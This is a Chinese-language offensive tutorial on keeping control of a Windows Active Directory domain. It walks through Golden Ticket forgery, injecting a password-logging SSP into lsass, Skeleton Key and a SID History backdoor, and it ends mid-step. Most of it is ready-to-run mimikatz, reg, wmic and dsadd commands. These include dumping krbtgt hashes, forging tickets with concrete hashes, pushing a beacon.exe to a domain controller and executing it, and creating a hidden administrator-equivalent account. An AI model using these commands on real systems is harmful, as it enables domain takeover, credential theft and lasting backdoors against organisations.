域环境权限维持

PTT

PASS The Ticket

黄金票据伪造原理

2.2 AS确认Client端登录者用户身份

KDC返回的 Msg B:使用 TGS密钥(KDC HASH / KRBTGT用户NTLM HASH) 加密的 TGT (TicketGranting-Ticket),当我们获取到krbtgt用户的 NTLM 哈希后,便可主动使用 krbtgt 用户的NTLM 哈希做为 TGS 密钥来生成 TGT 发送给KDC,这样KDC如果通过解密伪造 TGT 获取到伪造的[CLIENT/TGS SESSIONKEY] 可以成功解密 Authenticator 1 并完成与TGT中的数据进行比对,便成功骗过了KDC,也就是成功伪造了黄金票据

黄金票据伪造条件

  1. 域名称
  2. 域的SID值
  3. 域的 KRBTGT 账户密码 HASH
  4. 伪造用户名,可以是任意的

利用步骤

  1. 域名称(kc.local)
1
whoami

image-20231009140655901

  1. 域SID
1
2
whoami /user
wmic useraccount list brief

image-20231009140853623

S-1-5-21-1444815315-2181078613-1313507127

  1. 域 krbtgt 账户 ntlm hash 或aes-256值
1
2
3
mimikatz lsadump::dcsync /user:Guest@kc.local

mimikatz lsadump::dcsync /domain:kc.local /all /csv
  1. 清理所有票据
1
2
3
klist purge

mimikatz kerberos::purge
  1. mimikatz伪造指定用户的票据并注入内存
1
mimikatz kerberos::golden /user:administrator /domain:kc.local /sid:S-1-5-21-2831898851-346755201-4242450174 /krbtgt:cee484c9c4148a6d6e01ecc446e19643 /endin:480 /renewmax:10080 /ptt
1
2
3
4
5
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
  1. 查看票据
1
mimikatz kerberos::list
  1. 得到域控shell
1
2
3
4
upload /root/beacon.exe (C:\Users\de1ay.DE1AY\Desktop\beacon.exe)
shell copy C:\Users\de1ay.DE1AY\Desktop\beacon.exe \\10.10.10.10\c$
shell wmic /authority:"kerberos:de1ay.com\DC" /node:"DC" process call create "cmd /c c:\beacon.exe"
connect 10.10.10.10

保存票据为文件

1
mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kirbi

通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中

1
2
3
kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list

SSP

SSP简介

SSP:security Support Provider ,一个用于身份验证的 dll

SSPI:Security Support Provider Interface,Windows 系统在执行认证操作所使用的API。

SSPI是SSP的API接口

LSA:Local Security Authority,用于身份认证,常见进程为 lsass.exe,特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中.这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程 lsass.exe 。

原理

系统在启动时 SSP 会被加载到 lsass.exe 进程中,由于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll,一个用于记录所有登录到当前系统的明文账号密码的 dll, 利用mimikatz 中mimilib.dll 文件。

将 mimikatz 中的 mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将 mimilib.dll 添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。

利用

1
2
3
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

注意:在powershell中执行reg,在cmd中执行可能会报错。

计算机重启后,如果有用户成功登录到当前系统中,会在 c:\windows\system32 目录下生成一个用于记录登账账号密码的 kiwissp.log 文件

  • Memory Updating of SSPs

使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

1
2
3
mimikatz privilege::debug
mimikatz misc::memssp
type C:\Windows\System32\mimilsa.log

Skeleton Key

Skeleton Key简介

Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。

Skeleton Key被安装在64位的域控服务器上,支持 Windows Server2003—Windows Server2012R2 ,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,

注意并不能更改用户权限,重启后失效。

利用

  • 在域控安装Skeleton Key
1
2
privilege::debug
misc::skeleton
  • 域内主机使用Skeleton Key登录域控

mimikatz的默认Skeleton Key设置为mimikatz,Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限

1
net use \\DC.kc.local mimikatz /user:administrator@kc.local

SID History

SID简介

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

利用

  • 域控上添加并启用域账户
1
dsadd user cn=ming,dc=de1ay,dc=com -disabled no -pwd ll@1qazWSX
  • Mimikatz添加后门
1
2
3
privilege::debug
sid::patch
sid::add /sam:ming /new:administrator
  • PowerShell查看ming用户的SID History
1
2
Import-Module ActiveDirectory
Get-ADUser ming -Properties sidhistory
  • 验证域用户ming是否有具有administrator权限: